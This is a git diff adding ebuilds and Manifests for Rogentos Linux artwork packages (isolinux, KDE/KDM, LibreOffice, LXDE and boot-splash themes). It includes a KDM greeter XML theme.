+DIST rogentos-artwork-isolinux-1.tar.gz 62342 SHA256 20d84fa20f8231d4960abc1e8b50f81d3929ad69a893627677900ca183b0aa19 SHA512 c9777a3651b1ea0d2224f52f4f4f33586aff3cc61aba9102804aad3c3af34c1f8e29df600e4ff639a97a1799ee1b1c2b8db81ae593220400fbe5ab7102848564 WHIRLPOOL acdae085cb588ac1bebeb3a5c09287b09792ccfc79352320b6e0c8f9b7284f094fb7904ab447eef64b4684b7c12e9273c72f54c0d2513320565fd771a40d4adb
+DIST rogentos-artwork-isolinux-2.1.tar.gz 19116 SHA256 cba8312a0f73fc15c3a2d54a8ae1b455403539b9a9e7a5e326fb0198380e3045 SHA512 09a76c8feea5fb348523d8caa4f491c03ad348c709ffadfe2e7129b096f09e41f8e8937b5521d4b90d0183785349f3dee0c232ae062add4af2c65a2fc31ad3e5 WHIRLPOOL 2afde698580ec255d495b0050a8580a2569b57887fdcdafa0cb042a250ed52ff054b2b425f69adacb66b8cdda82bf4972435ba8f3aec8449dabd8ef37aea4181
+DIST rogentos-artwork-isolinux-2.tar.gz 15405 SHA256 60a84645fea79482648e70d318968f733e7870545e062e021bc8e19e5941337b SHA512 5643eefb054174163e390c0eb4a3e0effdd98f1cbbf01d7c454226ad4a53a27a447e61c9c363b5ad58cebeb20dcba3cb3398a2d10b08e9659bc7569eccaaabf8 WHIRLPOOL b57a56f4f499de047e57aa9bd9dc77d1b0dce7d3a0f30533f9b3d02d2fa2bdcb94c391fe2ba0a2415ef7d7bfecd4764364c1e4dd2248ead37b88037838b1a121
+EBUILD rogentos-artwork-isolinux-1.ebuild 730 SHA256 54e8767baeb8e8ead28d45ec29368969322d3ebfde354bbfbffe2d5f742fc619 SHA512 84698bff16ad7643fe66bcde4e24c30e45090d809b5cf145b20f8ead9ab0847dd6b5468afc020a6264044fc7e27c9c41d89d3d21e23c081654e25aef4dd49afb WHIRLPOOL f80a2801d48a07e1edc57950fc823766d4fb7b132a380e98007f50deaf6aaf2cba012adaf180a6e72cec41a135366d032b6cdf6695cf47a82bd9edc8c38402a2
+EBUILD rogentos-artwork-isolinux-2-r1.ebuild 793 SHA256 9e959cd7695a96053d33fbcc4ee0c1737c180665b481410e8e972ae6822ed466 SHA512 0b8e8b3f35322071d5903d1b5c8687e4da5aa7781d86f9dd714a24bae9b896c98c5cdf5caeafce035f6a36d51e6d2b96e07fddfa102ab7901a080404aef3d08e WHIRLPOOL 8c83fcfcbe0e63f8b490807cd048b24b03726a706b94554a07dd6cfdc3624b68e00eb50a9c0cd692fb9ea5b97a9ae04faf36d860689552f1111d3ed7ab4239b1
+EBUILD rogentos-artwork-isolinux-2.1.ebuild 793 SHA256 9e959cd7695a96053d33fbcc4ee0c1737c180665b481410e8e972ae6822ed466 SHA512 0b8e8b3f35322071d5903d1b5c8687e4da5aa7781d86f9dd714a24bae9b896c98c5cdf5caeafce035f6a36d51e6d2b96e07fddfa102ab7901a080404aef3d08e WHIRLPOOL 8c83fcfcbe0e63f8b490807cd048b24b03726a706b94554a07dd6cfdc3624b68e00eb50a9c0cd692fb9ea5b97a9ae04faf36d860689552f1111d3ed7ab4239b1
+EBUILD rogentos-artwork-isolinux-2.ebuild 758 SHA256 b39a7ff568a18ea27f62a348820802263902b2ca44d0b873bad375ecea732c81 SHA512 1e6166bff91fbf5b93a10b75bb4378f2efcf965e98397efad661cd20bf9cb2df3d4aa5784d9b94ba32e11231145e1abc2cf47b606f51b97e757e794070cf96a3 WHIRLPOOL 8f179e88d0c61790c071b29571f3f1180c135fbd85f56f4bba5bd73e352479fcc9809514d8eea9446ae4aea72365ebf6548dd37473adfcd9538d109ee852b205
diff --git a/x11-themes/rogentos-artwork-isolinux/rogentos-artwork-isolinux-1.ebuild b/x11-themes/rogentos-artwork-isolinux/rogentos-artwork-isolinux-1.ebuild
new file mode 100644
index 00000000..39a8a3d4
--- /dev/null
+++ b/x11-themes/rogentos-artwork-isolinux/rogentos-artwork-isolinux-1.ebuild
@@ -0,0 +1,28 @@
+# Copyright 2004-2011 Sabayon
+# Copyright 2012 Rogentos
+# Distributed under the terms of the GNU General Public License v2
+# Original Authors Sabayon Team
+# Maintainer BlackNoxis <stefan.cristian at rogentos.ro>
+
+EAPI=4
+
+inherit base
+
+DESCRIPTION="Rogentos Isolinux Image Background"
+HOMEPAGE="http://www.rogentos.ro"
+SRC_URI="http://pkg.rogentos.ro/~rogentos/distro/${CATEGORY}/${PN}/${PN}-${PVR}.tar.gz
+ http://pkg2.rogentos.ro/~noxis/distro/${CATEGORY}/${PN}/${PN}-${PVR}.tar.gz"
+LICENSE="CCPL-Attribution-ShareAlike-3.0"
+SLOT="0"
+
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+RDEPEND=""
+
+S="${WORKDIR}"
+
+src_install () {
+ dodir /usr/share/backgrounds/isolinux || die
+ insinto /usr/share/backgrounds/isolinux || die
+ doins back.jpg || die
+}
diff --git a/x11-themes/rogentos-artwork-isolinux/rogentos-artwork-isolinux-2-r1.ebuild b/x11-themes/rogentos-artwork-isolinux/rogentos-artwork-isolinux-2-r1.ebuild
new file mode 100644
index 00000000..ea832ad2
--- /dev/null
+++ b/x11-themes/rogentos-artwork-isolinux/rogentos-artwork-isolinux-2-r1.ebuild
@@ -0,0 +1,28 @@
+# Copyright 2004-2011 Sabayon
+# Copyright 2012 Rogentos
+# Distributed under the terms of the GNU General Public License v2
+# Original Authors Sabayon Team
+# Maintainer BlackNoxis <stefan.cristian at rogentos.ro>
+
+EAPI=4
+
+inherit base
+
+DESCRIPTION="Rogentos Isolinux Image Background"
+HOMEPAGE="http://www.rogentos.ro"
+SRC_URI="http://pkg.rogentos.ro/~rogentos/distro/${CATEGORY}/${PN}/${PN}-${PV}.tar.gz"
+ #http://pkg2.rogentos.ro/~noxis/distro/${CATEGORY}/${PN}/${PN}-${PVR}.tar.gz temporary out of duty repo
+LICENSE="CCPL-Attribution-ShareAlike-3.0"
+SLOT="0"
+
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+RDEPEND="!x11-themes/sabayon-artwork-isolinux"
+
+S="${WORKDIR}"
+
+src_install () {
+ dodir /usr/share/backgrounds/isolinux || die
+ insinto /usr/share/backgrounds/isolinux || die
+ doins back.jpg || die
+}
diff --git a/x11-themes/rogentos-artwork-isolinux/rogentos-artwork-isolinux-2.1.ebuild b/x11-themes/rogentos-artwork-isolinux/rogentos-artwork-isolinux-2.1.ebuild
new file mode 100644
index 00000000..ea832ad2
--- /dev/null
+++ b/x11-themes/rogentos-artwork-isolinux/rogentos-artwork-isolinux-2.1.ebuild
@@ -0,0 +1,28 @@
+# Copyright 2004-2011 Sabayon
+# Copyright 2012 Rogentos
+# Distributed under the terms of the GNU General Public License v2
+# Original Authors Sabayon Team
+# Maintainer BlackNoxis <stefan.cristian at rogentos.ro>
+
+EAPI=4
+
+inherit base
+
+DESCRIPTION="Rogentos Isolinux Image Background"
+HOMEPAGE="http://www.rogentos.ro"
+SRC_URI="http://pkg.rogentos.ro/~rogentos/distro/${CATEGORY}/${PN}/${PN}-${PV}.tar.gz"
+ #http://pkg2.rogentos.ro/~noxis/distro/${CATEGORY}/${PN}/${PN}-${PVR}.tar.gz temporary out of duty repo
+LICENSE="CCPL-Attribution-ShareAlike-3.0"
+SLOT="0"
+
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+RDEPEND="!x11-themes/sabayon-artwork-isolinux"
+
+S="${WORKDIR}"
+
+src_install () {
+ dodir /usr/share/backgrounds/isolinux || die
+ insinto /usr/share/backgrounds/isolinux || die
+ doins back.jpg || die
+}
diff --git a/x11-themes/rogentos-artwork-isolinux/rogentos-artwork-isolinux-2.ebuild b/x11-themes/rogentos-artwork-isolinux/rogentos-artwork-isolinux-2.ebuild
new file mode 100644
index 00000000..7b1f56ad
--- /dev/null
+++ b/x11-themes/rogentos-artwork-isolinux/rogentos-artwork-isolinux-2.ebuild
@@ -0,0 +1,28 @@
+# Copyright 2004-2011 Sabayon
+# Copyright 2012 Rogentos
+# Distributed under the terms of the GNU General Public License v2
+# Original Authors Sabayon Team
+# Maintainer BlackNoxis <stefan.cristian at rogentos.ro>
+
+EAPI=4
+
+inherit base
+
+DESCRIPTION="Rogentos Isolinux Image Background"
+HOMEPAGE="http://www.rogentos.ro"
+SRC_URI="http://pkg.rogentos.ro/~rogentos/distro/${CATEGORY}/${PN}/${PN}-${PVR}.tar.gz"
+ #http://pkg2.rogentos.ro/~noxis/distro/${CATEGORY}/${PN}/${PN}-${PVR}.tar.gz temporary out of duty repo
+LICENSE="CCPL-Attribution-ShareAlike-3.0"
+SLOT="0"
+
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+RDEPEND=""
+
+S="${WORKDIR}"
+
+src_install () {
+ dodir /usr/share/backgrounds/isolinux || die
+ insinto /usr/share/backgrounds/isolinux || die
+ doins back.jpg || die
+}
diff --git a/x11-themes/rogentos-artwork-kde/Manifest b/x11-themes/rogentos-artwork-kde/Manifest
new file mode 100644
index 00000000..549ea517
--- /dev/null
+++ b/x11-themes/rogentos-artwork-kde/Manifest
@@ -0,0 +1,3 @@
+AUX 5.4-hotfixes/rogentos.xml 5588 SHA256 c5cae4d7b62fc24fbb39a21e3b6651fb4a63b4e5a4326e8dd4707b05a5b57253 SHA512 5177f989afe8c903f5ccb404c0342e385d7289fe17d9e3bcd801f324bd76ff0efdb278818e1512ee6f79c3fdc3bba3299bf7b2815627dab28eb46abacefad94e WHIRLPOOL 5c028e831ec979f3e41d3b3ae43ee42589d66cad8a03652074a175af61888ccd86c9ef5c75194c4dd692cebd4e4b218a123e947f4726187c94f4ff016d8db4c7
+DIST rogentos-artwork-kde.tar.gz 3843814 SHA256 05eaaf681bb0d4e0e309cd6e909481f5dadf8d4d26167eac5e42d5df12ecc359 SHA512 d5d3bd65c824e9388db206d0599f1af9b839001f6c3bdc94d92efa401cd80ac404dee84a85aa25cc4ab11a5ecf8187288043b4091a68413d77c3131ece424be4 WHIRLPOOL bcbfbffa09fad7835acad593e1837863fb0f15d2927ca9fa8ef38c94ea187a688f9dd2b92956f7fff2e471ce5dec31bd37b8aaffb386d0bd87e7e06953f65b07
+EBUILD rogentos-artwork-kde-1.ebuild 1028 SHA256 ef781fa39429ab1ba9c6eab77330f83941448edaabe5efba75c3168866cfd243 SHA512 d6d713aa481b9ae2d2b159b579d7abe63fe9cda4295518273ee8a3cfd8f302078c2bd836957b8bd2696fd606b0589dfc45147a2c1a58ceaa75839d39c0f32950 WHIRLPOOL 9af804ec028423473c1ec730b857b150472950e7707ae73187d84c539bcb0b46dd9d55d1ed3361d3e829583135b3c48bca860fd2cf271f375b5f3675fe78d222
diff --git a/x11-themes/rogentos-artwork-kde/files/5.4-hotfixes/rogentos.xml b/x11-themes/rogentos-artwork-kde/files/5.4-hotfixes/rogentos.xml
new file mode 100644
index 00000000..a6df3821
--- /dev/null
+++ b/x11-themes/rogentos-artwork-kde/files/5.4-hotfixes/rogentos.xml
@@ -0,0 +1,159 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE greeter SYSTEM "greeter.dtd">
+<!--
+Sabayon KDM theme 5.4
+Copyright (c) 2010 Sabayon Foundation
+Copyright (c) 2012 Rogentos Linux
+
+Based on:
+Elegant Air KDM Theme 0.2
+Copyright (c) 2008 Max Resch <resch.max@gmail.com>
+Copyright (C) 2008 Vaxx <vaxxipooh@yahoo.se>
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see <http://www.gnu.org/licenses/>.
+
+===========
+Changelog:
+ 0.2 (16.09.2008)
+ - Rewrote the xml file because of compatibility issues with KDM 4.1
+ - Released Background: Emotion by Vlad Gerasimov <vladstudio@gmail.com>
+ - Used Fonts: Segoe Semibold, Segoe Black, Segoe UI
+-->
+<greeter id="theme">
+ <style font="Sans 9" window-text-color="#bbbbbb" text-color="#000000" disabled-text-color="#808080"/>
+ <item type="svg" id="background" background="true">
+ <normal file="kdm.jpg"/>
+ <pos anchor="c" x="50%" y="50%" width="100%" height="100%"/>
+ </item>
+ <item type="rect" id="titlebanner">
+ <pos anchor="n" x="50%" y="0" width="100%" height="48"/>
+ <fixed>
+ <item type="pixmap">
+ <normal file="welcome-time-shadowed.png"/>
+ <pos width="824" height="48" expand="true"/>
+ </item>
+ <item type="label">
+ <pos anchor="w" x="28" y="33%" width="100%" expand="true"/>
+ <normal color="#bbbbbb" font="Sans 10"/>
+ <stock type="welcome-label"/>
+ </item>
+ <item type="label" id="clock">
+ <pos anchor="e" x="-22" y="33%" expand="true"/>
+ <normal color="#bbbbbb" font="Sans 10"/>
+ <text>%c</text>
+ </item>
+ </fixed>
+ </item>
+ <item type="rect" id="main">
+ <pos anchor="c" x="50%" y="50%" width="100%" height="192"/>
+ <fixed>
+ <item type="pixmap">
+ <normal file="main-runner.png"/>
+ <pos width="100%" height="192"/>
+ </item>
+ </fixed>
+ <box orientation="horizontal" spacing="100" xpadding="10">
+ <item type="pixmap">
+ <normal file="logo.png"/>
+ <pos anchor="w" x="40" y="50%" width="100" height="100"/>
+ </item>
+ <item type="rect" id="talker">
+ <pos anchor="w" y="50%" width="box" height="box"/>
+ <box orientation="horizontal" spacing="8">
+ <box orientation="vertical" spacing="8">
+ <item type="label">
+ <pos anchor="w"/>
+ <stock type="username-label"/>
+ </item>
+ <item type="label">
+ <pos anchor="w"/>
+ <stock type="password-label"/>
+ </item>
+ </box>
+ <box orientation="vertical" spacing="8">
+ <item type="entry" id="user-entry">
+ <pos anchor="e" width="180" height="28"/>
+ </item>
+ <item type="entry" id="pw-entry">
+ <pos anchor="e" width="180" height="28"/>
+ </item>
+ </box>
+ </box>
+ </item>
+ </box>
+ </item>
+ <item type="rect">
+ <pos anchor="e" x="-22" y="50%" width="box" height="box"/>
+ <box orientation="vertical" spacing="15">
+ <item type="rect" id="session_button" button="true">
+ <pos anchor="e" x="-0" y="50%" width="box" height="box" expand="true"/>
+ <box orientation="horizontal" spacing="7" width="100%" expand="true">
+ <item type="pixmap">
+ <normal file="sessions_inactive.png"/>
+ <prelight file="sessions.png"/>
+ <pos anchor="e" x="-0" y="50%" width="48" height="48"/>
+ </item>
+ <item type="label">
+ <normal color="#bbbbbb" font="Sans 9"/>
+ <prelight color="#ffffff" font="Sans 9"/>
+ <active color="#ff0000" font="Sans 9"/>
+ <pos anchor="e" x="-0" y="50%" min-width="100" width="100%"/>
+ <stock type="session"/>
+ </item>
+ </box>
+ </item>
+ <item type="rect" id="system_button" button="true">
+ <show modes="console" type="system"/>
+ <pos anchor="e" x="-0" y="50%" width="box" height="box"/>
+ <!--<pos anchor="ne" x="100%" y="50%" width="box" height="box"/>-->
+ <box orientation="horizontal" spacing="7">
+ <item type="pixmap">
+ <normal file="system_inactive.png"/>
+ <prelight file="system.png"/>
+ <pos anchor="e" x="-0" y="50%" width="48" height="48"/>
+ </item>
+ <item type="label">
+ <normal color="#bbbbbb" font="Sans 9"/>
+ <prelight color="#ffffff" font="Sans 9"/>
+ <active color="#ff0000" font="Sans 9"/>
+ <pos anchor="e" x="-0" y="50%" min-width="100" width="100%"/>
+ <stock type="system"/>
+ </item>
+ </box>
+ </item>
+ </box>
+ </item>
+ <item type="rect" id="caps-lock-warning">
+ <normal color="#000000" alpha="0.4"/>
+ <pos anchor="c" x="50%" y="20%" width="box" height="box"/>
+ <box orientation="vertical" min-width="400" xpadding="10" ypadding="5" spacing="0">
+ <item type="label">
+ <normal color="#bbbbbb" font="Sans 9"/>
+ <pos x="50%" anchor="n" width="100%"/>
+ <stock type="caps-lock-warning"/>
+ </item>
+ </box>
+ </item>
+ <item type="rect" id="pam-error">
+ <normal color="#000000" alpha="0.4"/>
+ <pos anchor="c" x="50%" y="20%" width="box" height="box"/>
+ <box orientation="vertical" min-width="400" xpadding="10" ypadding="5" spacing="0">
+ <item type="label">
+ <normal color="#bbbbbb" font="Sans 9"/>
+ <pos anchor="n" x="50%" width="100%"/>
+ <text>Login failed</text>
+ </item>
+ </box>
+ </item>
+</greeter>
diff --git a/x11-themes/rogentos-artwork-kde/rogentos-artwork-kde-1.ebuild b/x11-themes/rogentos-artwork-kde/rogentos-artwork-kde-1.ebuild
new file mode 100644
index 00000000..03389d41
--- /dev/null
+++ b/x11-themes/rogentos-artwork-kde/rogentos-artwork-kde-1.ebuild
@@ -0,0 +1,44 @@
+# Copyright 1999-2012 Sabayon Linux
+# Copyright 2012 Rogentos
+# Distributed under the terms of the GNU General Public License v2
+#
+
+EAPI=4
+CMAKE_REQUIRED="never"
+inherit eutils kde4-base
+
+DESCRIPTION="Rogentos Linux Official KDE Artwork"
+HOMEPAGE="http://rogentos.ro/"
+SRC_URI="http://pkg.rogentos.ro/~rogentos/distro/${CATEGORY}/${PN}/${PN}.tar.gz"
+ #http://pkg2.rogentos.ro/~noxis/distro/${CATEGORY}/${PN}.tar.gz"
+LICENSE="CCPL-Attribution-ShareAlike-3.0"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE="+ksplash"
+RDEPEND=""
+
+S="${WORKDIR}/${PN}"
+
+src_install() {
+ # KDM
+ # debugging mode
+ echo "Asta e ${KDEDIR}, cica"
+ dodir ${KDEDIR}/share/apps/kdm/themes
+ cd ${S}/kdm/ || die
+ insinto ${KDEDIR}/share/apps/kdm/themes
+ doins -r ./
+
+ # Kwin
+ dodir ${KDEDIR}/share/apps/aurorae/themes/
+ cd ${S}/kwin || die
+ insinto ${KDEDIR}/share/apps/aurorae/themes/
+ doins -r ./
+
+ # KSplash
+ if use ksplash; then
+ dodir ${KDEDIR}/share/apps/ksplash/Themes
+ cd ${S}/ksplash || die
+ insinto ${KDEDIR}/share/apps/ksplash/Themes
+ doins -r ./
+ fi
+}
diff --git a/x11-themes/rogentos-artwork-loo/rogentos-artwork-loo-1.ebuild b/x11-themes/rogentos-artwork-loo/rogentos-artwork-loo-1.ebuild
new file mode 100644
index 00000000..abf87e88
--- /dev/null
+++ b/x11-themes/rogentos-artwork-loo/rogentos-artwork-loo-1.ebuild
@@ -0,0 +1,31 @@
+# Copyright 1999-2011 Sabayon Linux
+# Copyright 2012 Rogentos Linux
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+inherit multilib
+
+DESCRIPTION="Rogentos LibreOffice Artwork"
+HOMEPAGE="http://rogentos.ro/"
+SRC_URI=".tar.gz"
+LICENSE="CCPL-Attribution-ShareAlike-3.0"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+
+DEPEND="sys-apps/sed"
+RDEPEND=""
+
+S=${WORKDIR}/${PN}
+
+src_install () {
+ cd "${S}/images"
+ sed -i "s:650:620:" sofficerc || die
+ insinto /usr/$(get_libdir)/libreoffice/program
+ doins *.png sofficerc
+}
+
+pkg_postinst () {
+ ewarn "Please report bugs or glitches to"
+ ewarn "bugs.rogentos.ro"
+}
diff --git a/x11-themes/rogentos-artwork-lxde/Manifest b/x11-themes/rogentos-artwork-lxde/Manifest
new file mode 100644
index 00000000..907f4c12
--- /dev/null
+++ b/x11-themes/rogentos-artwork-lxde/Manifest
@@ -0,0 +1,2 @@
+DIST rogentos-artwork-lxde-1.tar.gz 728167 SHA256 ba4547798897065a052f87cda20d42cd9a9084dd09cf72e5af4f3be6e9f26400 SHA512 ef30f557ec3b89934181c9918dd13fa26d27412283de1d955a3676b833ac16f361900c2c2650ea7ade1f9ddabfb5b59e2d8632bf63b60e4fdde71a94abaf4651 WHIRLPOOL 653a15bc0ae72e6da52deadd1a50156c58eb702995d0a00b1979d9c687c5aa411080127557d033cc0b482e94a96f5cc1114a981423adc1e80700f14387befeaf
+EBUILD rogentos-artwork-lxde-1.ebuild 926 SHA256 1b21c1aff24f4e5e3b8eabeaecbfd22d4a448fd446dee110923398cf53bac018 SHA512 1b5ff6e421a6d3e8afabca85a118b29d78b010a0226c6329054b66e10f6a8602d762fbc4e143672073decb36db071f77a4b94875b20d140ed871b429deeae4d0 WHIRLPOOL 58c339f57d83bb549872d4adfd9dc2f1d73bb275e35d47fd3763f50d6af5e43565cfefeb9985b2a5ae7c179f10571267f860cc99942fb0a34e7ae7ccd92d3a07
diff --git a/x11-themes/rogentos-artwork-lxde/rogentos-artwork-lxde-1.ebuild b/x11-themes/rogentos-artwork-lxde/rogentos-artwork-lxde-1.ebuild
new file mode 100644
index 00000000..6ca6b39a
--- /dev/null
+++ b/x11-themes/rogentos-artwork-lxde/rogentos-artwork-lxde-1.ebuild
@@ -0,0 +1,32 @@
+# Copyright 2004-2011 Sabayon Promotion
+# Copyright 2012 Rogentos
+# Distributed under the terms of the GNU General Public License v2
+# Original Authors Sabayon Team
+#
+
+EAPI=3
+
+inherit base
+
+DESCRIPTION="Rogentos LXDE Artwork"
+HOMEPAGE="http://www.rogentos.ro"
+SRC_URI="http://pkg.rogentos.ro/~rogentos/distro/${CATEGORY}/${PN}/${PN}-${PVR}.tar.gz
+ http://pkg2.rogentos.ro/~noxis/distro/${CATEGORY}/${PN}/${PN}-${PVR}.tar.gz"
+
+LICENSE="CCPL-Attribution-ShareAlike-3.0"
+SLOT="0"
+KEYWORDS="~amd64 ~arm ~x86"
+IUSE=""
+RDEPEND="x11-themes/rogentos-artwork-core"
+
+S="${WORKDIR}/lxdm"
+
+src_install () {
+ cd "${S}" || die "Cannot cd into folder"
+ dodir /usr/share/lxdm/themes/Rogentos || die "Cannot dodir"
+ insinto /usr/share/lxdm/themes/Rogentos || die "Cannot insinto"
+ doins Rogentos/* || die "Cannot doins"
+
+ insinto /etc/lxdm/ || die "Cannot insinto folder"
+ doins "${S}"/lxdm.conf /etc/lxdm/ || die "Could not copy lxdm.conf"
+}
diff --git a/x11-themes/rogentos-artwork-resplash/Manifest b/x11-themes/rogentos-artwork-resplash/Manifest
new file mode 100644
index 00000000..f9559939
--- /dev/null
+++ b/x11-themes/rogentos-artwork-resplash/Manifest
@@ -0,0 +1,2 @@
+EBUILD rogentos-artwork-resplash-1.1.ebuild 1105 SHA256 d0c2a76a973989464869607d60976071793eaaa7671d040c0d6f5b90cfd6c469 SHA512 a1a86c2b1e3fa6289ad2972eef82788ae94d131f8bc667ac62a86ff4a489a9b8233c4aabc9f2a9a9c5b3e2707bb7b4148ccf7aab4a441e0f8f8899eaab8a8c2c WHIRLPOOL 8efa3a86196e51eac54b46aa642ad5f678628d1c60d68b0f8015ec28a74f1de2dcde5a8966a795ef25536a3fb1121266b577a8a789bbbe31f5953254a4872d5a
+EBUILD rogentos-artwork-resplash-1.ebuild 1076 SHA256 c0dc0060c991f8295f2b90536948ef1246700692b12bedf236ad5ad093342e3c SHA512 28be4df49be897bd0e44bd02231935e0ba4df857d7f4cdafdd75555bc019629552803d1e86f69e89707547f88c821d8f3274ad7a862402408f82cf39828a0a9c WHIRLPOOL ce3013c88a63b19ce1532002a9380308dc369bc88c9774f5970c1a1740002c716d25cbfcab3ee3515ad8561e409a1bbca592ec8b0d9e36c1c6de2c07aeb27218
diff --git a/x11-themes/rogentos-artwork-resplash/rogentos-artwork-resplash-1.1.ebuild b/x11-themes/rogentos-artwork-resplash/rogentos-artwork-resplash-1.1.ebuild
new file mode 100644
index 00000000..c65de04f
--- /dev/null
+++ b/x11-themes/rogentos-artwork-resplash/rogentos-artwork-resplash-1.1.ebuild
@@ -0,0 +1,46 @@
+# Copyright 1999-2012 Sabayon Promotion
+# Copyright 2012 Rogentos Linux
+# Distributed under the terms of the GNU General Public License v2
+# Original Authors Sabayon Team
+# Maintainer BlackNoxis <stefan.cristian at rogentos.ro>
+
+EAPI=4
+inherit mount-boot rogentos-artwork
+
+DESCRIPTION="Offical Rogentos Linux Core Artwork"
+HOMEPAGE="http://www.rogentos.ro"
+SRC_URI=""
+
+LICENSE="CCPL-Attribution-ShareAlike-3.0"
+SLOT="0"
+KEYWORDS="~arm ~x86 ~amd64"
+IUSE=""
+RDEPEND=">=app-admin/stability-watcher-0.1
+ app-misc/rogentos-version"
+DEPEND="${RDEPEND}"
+
+S="${WORKDIR}"
+
+pkg_config() {
+ ewarn "This is ONLY for Sabayon-derived linux users" || die
+
+ # mount boot first
+ mount-boot_mount_boot_partition
+
+ # Update Sabayon initramfs images
+ update_sabayon_kernel_initramfs_splash
+
+ einfo "Please report bugs or glitches to"
+ einfo "BlackNoxis"
+}
+
+pkg_postinst() {
+ # mount boot first
+ mount-boot_mount_boot_partition
+
+ # Update Sabayon initramfs images
+ update_sabayon_kernel_initramfs_splash
+
+ einfo "Please report bugs or glitches to"
+ einfo "BlackNoxis"
+}
diff --git a/x11-themes/rogentos-artwork-resplash/rogentos-artwork-resplash-1.ebuild b/x11-themes/rogentos-artwork-resplash/rogentos-artwork-resplash-1.ebuild
new file mode 100644
index 00000000..04ab4bd3
--- /dev/null
+++ b/x11-themes/rogentos-artwork-resplash/rogentos-artwork-resplash-1.ebuild
@@ -0,0 +1,45 @@
+# Copyright 1999-2012 Sabayon Promotion
+# Copyright 2012 Rogentos Linux
+# Distributed under the terms of the GNU General Public License v2
+# Original Authors Sabayon Team
+# Maintainer BlackNoxis <stefan.cristian at rogentos.ro>
+
+EAPI=4
+inherit mount-boot rogentos-artwork
+
+DESCRIPTION="Offical Rogentos Linux Core Artwork"
+HOMEPAGE="http://www.rogentos.ro"
+SRC_URI=""
+
+LICENSE="CCPL-Attribution-ShareAlike-3.0"
+SLOT="0"
+KEYWORDS="~arm ~x86 ~amd64"
+IUSE=""
+RDEPEND="x11-themes/rogentos-artwork-core"
+DEPEND="${RDEPEND}"
+
+S="${WORKDIR}/${PN}"
+
+pkg_config() {
+ ewarn "This is ONLY for Sabayon-derived linux users" || die
+
+ # mount boot first
+ mount-boot_mount_boot_partition
+
+ # Update Sabayon initramfs images
+ update_sabayon_kernel_initramfs_splash
+
+ einfo "Please report bugs or glitches to"
+ einfo "BlackNoxis"
+}
+
+pkg_postinst() {
+ # mount boot first
+ mount-boot_mount_boot_partition
+
+ # Update Sabayon initramfs images
+ update_sabayon_kernel_initramfs_splash
+
+ einfo "Please report bugs or glitches to"
+ einfo "BlackNoxis"
+}